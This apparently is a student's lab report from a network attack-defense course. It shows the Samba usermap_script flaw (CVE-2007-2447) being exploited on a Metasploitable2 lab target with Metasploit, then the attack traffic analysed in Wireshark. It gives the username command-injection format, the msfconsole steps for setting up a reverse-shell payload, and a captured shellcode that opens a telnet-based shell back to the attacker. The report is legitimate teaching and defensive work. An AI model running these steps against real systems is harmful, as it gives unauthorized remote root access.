20241904 2024-2025-2 《网络攻防实践》实验七

一、 实践内容

1. Linux远程渗透攻击实践

(1)Samba服务与漏洞背景

Samba是一款实现SMB/CIFS协议的开源软件,允许Linux/Unix系统与Windows系统进行文件共享和打印服务交互。在早期版本(如Samba 3.0.20-3.0.25)中,存在一个严重漏洞——Usermap_script安全漏洞。该漏洞源于Samba对用户映射脚本(username map script)的不当处理,允许攻击者通过构造恶意请求绕过身份验证,直接执行任意命令。

(2)漏洞原理

Samba允许管理员通过smb.conf配置文件设置username map script选项,指定一个脚本将客户端提供的用户名映射为系统本地用户名。例如,将Windows用户DOMAIN\user映射为Linux用户localuser。当客户端尝试连接Samba服务时,可以在用户名字段注入恶意命令(如/bin/bash),格式为:

 username = "/=`nohup <恶意命令>`"

由于Samba未对输入进行严格过滤,系统会将其解析为Shell命令。这是一个典型的命令注入漏洞,属于输入验证不严导致的安全问题。攻击者无需有效凭据即可利用此漏洞,属于未授权远程代码执行(RCE)。

(3)Metasploit利用流程

实验利用Metasploit框架对Linux靶机的Samba服务Usermap_script漏洞(CVE-2007-2447)发起攻击。通过exploit/multi/samba/usermap_script模块,配置反向Shell的Payload(如cmd/unix/reverse),设置目标IP(RHOST)和攻击机IP(LHOST)后成功获取靶机的远程Shell权限。这一过程验证了未修复漏洞的严重性——攻击者无需认证即可通过Samba服务执行任意命令。在获得基础权限后,进一步尝试提权至root。

2. 攻防对抗实践

(1)攻防流程

在攻防角色互换中,攻击方需灵活选择Metasploitable靶机的漏洞(如Samba、VSFTPD后门、PHP-CGI参数注入等),通过扫描(Nmap)或已知漏洞(如Metasploitable预设漏洞)确定攻击路径,突破防御后建立持久化控制。防守方则通过流量分析工具Wireshark/Snort监控网络,识别攻击,成功捕获攻击数据包并提取关键信息:

  • 攻击源IP与目标端口:检测到目标端口(如445/TCP)的异常连接请求;
  • 攻击时间线:扫描阶段、漏洞利用阶段(SMB协议数据包中包含恶意用户名,如/=nohup命令注入);
  • Shellcode特征:Payload中可见反向连接指令(如/dev/tcp/<IP>/<PORT>);
  • 攻击后操作:攻击成功后,流量中可能包含whoamiuname -a等探测命令。

(2)防御原理

  • 入侵检测(IDS):Snort规则可匹配Samba漏洞利用的特定字节序列(如username=字段的异常字符)。
  • 流量分析:Wireshark可还原攻击时间线,提取攻击源IP、目标端口及攻击载荷。
  • 蜜罐技术:通过模拟脆弱服务(如Metasploitable)诱捕攻击者,分析其战术。

二、 实践过程

1. 使用Metasploit进行Linux远程渗透攻击

(1)任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。
(2)实践步骤
①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
④设置渗透攻击参数(RHOST,LHOST,TARGET等);
⑤执行渗透攻击;
⑥查看是否正确得到远程Shell,并查看获得的权限。

  • 查看kali的IP地址:192.168.200.4,Metasploit的IP地址:192.168.200.124
    在这里插入图片描述
    在这里插入图片描述
  • 首先输入命令行msfconsole启动msfconsole,回车进入到控制台界面;
    在这里插入图片描述
  • 输入命令行search usermap_script 查找漏洞信息;然后输入命令行 use exploit/multi/samba/usermap_script 使用相关攻击脚本,接着使用 show payloads 显示有效的攻击载荷;
    在这里插入图片描述
  • 输入命令行 set payload cmd/unix/reverse ,将载荷设置为reverse(反向连接);输入命令行 set RHOST 192.168.200.124(Metasploitable2_Linux) 和 set LHOST 192.168.200.4 (kali) 进行表示攻击机IP地址和靶机IP地址设置;输入 exploit 进行渗透攻击,出现会话连接即攻击成功;
    img
  • 攻击完成后,根据提示操作得到远程 shell,并且使用 ifconfig 查询靶机IP,靶机IP成功获取。通过在靶机Metasploitable2_Linux中 ifconfig 查询结果对比,IP均为192.168.200.124,表明攻击成功;
    在这里插入图片描述
  • 使用 cd /home/msfadmin 进入msfadmin 用户下,使用 mkdir lwl 指令创建了lwl目录。通过对比攻击机和靶机查询结果,发现远程创建目录成功,这说明我们已经获得了靶机的文档操作权;
    在这里插入图片描述
    在这里插入图片描述
  • 再通过 whoami 查询,发现我们已经获得了root权限,而靶机仍然是非root账号登录,这表明提权成功。
    在这里插入图片描述
    在这里插入图片描述

2. 攻防对抗实践(usermap_script漏洞)

(1)攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
(2)防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。

  • 实践环境
    攻击机Kali:192.168.200.4
    靶机Metasploit:192.168.200.125
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    可以看到两者可以互相ping通;
  • 进行实验一相同步骤,进行攻击;
    在这里插入图片描述
    在这里插入图片描述
  • 输入 exploit 进行渗透攻击;
    在这里插入图片描述
  • 获得远程控制权,并尝试进一步获得root权限;
    在这里插入图片描述
  • Wireshark进行抓包并分析,可以看到一个ARP请求报文,可知攻击发起时间是从ARP协议的询问开始;
    在这里插入图片描述
  • 接着分析后面的TCP包,可以得到如下内容;经过查询可知139号端口是Unix中的Samba服务端口,可知攻击利用了Samba服务漏洞;

攻击者IP:192.168.200.4
目标IP:192.168.200.125
目标端口:139

在这里插入图片描述

  • 接着追踪TCP数据流,可以从SMB数据包中找到shellcode如图所示;其中nohup是no hang up的缩写,就是不挂断的意思,用nohup运行命令可以使命令永久的执行下去,和用户终端没有关系;telnet 192.168.31.26 4444表明数据是通过4444号通信端口管控传入攻击机的;sh是linux中运行shell的命令,是shell的解释器;
    在这里插入图片描述
  • 再通过进一步的tcp流分析,可以看到成功之后在本地执行命令的信息。
    在这里插入图片描述

三、 学习中遇到的问题及解决

  • 问题1:在使用 Metasploit 渗透测试软件进行 exploit 攻击时,无法创建会话;
  • 问题1解决方案:有可能是网络不稳定造成的,可以多次尝试;并且打开攻击机和靶机的同时也要打开蜜网虚拟机。
  • 问题2:在进行渗透攻击时,攻击方无法 ping 通防守方的 ip ;
  • 问题2解决方案:将 kali 攻击机设置成桥接模式,这样就可以让攻击机与靶机在同一网段内,以便渗透攻击的顺利进行。

四、 实践总结

本次实验主要围绕Metasploit渗透测试和攻防对抗分析展开,通过实战掌握了Metasploit的漏洞利用流程,学习了Linux操作系统攻防,以及渗透攻击的攻击过程,深刻理解了网络攻防的一般步骤,更深刻体会到防御视角的重要性。通过分析攻击流量,理解了如何从网络层识别异常行为(如可疑的Samba协议请求)。同时,本次实验让我意识到关闭不必要的服务(如Samba)以及及时打补丁的必要性。

参考资料

posted @ 2025-04-17 09:31  lwl*  阅读(130)  评论(0)    收藏  举报